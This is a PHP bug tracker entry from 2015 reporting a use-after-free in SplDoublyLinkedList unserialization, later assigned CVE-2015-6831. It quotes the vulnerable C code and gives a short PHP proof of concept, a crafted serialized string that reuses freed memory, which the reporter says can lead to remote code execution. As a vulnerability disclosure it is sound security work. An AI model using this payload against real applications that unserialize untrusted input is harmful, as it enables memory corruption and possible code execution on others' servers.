|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-07-30 11:15 UTC] taoguangchen at icloud dot com
[2015-08-02 04:53 UTC] stas@php.net
[2015-08-04 22:22 UTC] stas@php.net
[2015-08-04 22:22 UTC] stas@php.net
-Status: Open
+Status: Closed
[2015-08-04 22:23 UTC] stas@php.net
[2015-08-04 22:30 UTC] stas@php.net
[2015-08-05 07:29 UTC] stas@php.net
[2015-08-05 10:12 UTC] ab@php.net
[2015-09-09 10:05 UTC] kaplan@php.net
-Assigned To:
+Assigned To: stas
-CVE-ID:
+CVE-ID: 2015-6831
[2015-09-09 10:05 UTC] kaplan@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Nov 07 08:00:02 2025 UTC |
Description: ------------ I has reported a similar bug in BUG#70168 ``` ALLOC_INIT_ZVAL(flags); if (!php_var_unserialize(&flags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(flags) != IS_LONG) { zval_ptr_dtor(&flags); goto error; } intern->flags = Z_LVAL_P(flags); zval_ptr_dtor(&flags); <=== free memory ... PHP_VAR_UNSERIALIZE_DESTROY(var_hash); return; ``` &flags was be freed, but we can use that already freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely. PoC: ``` $inner = 'i:1;'; $exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```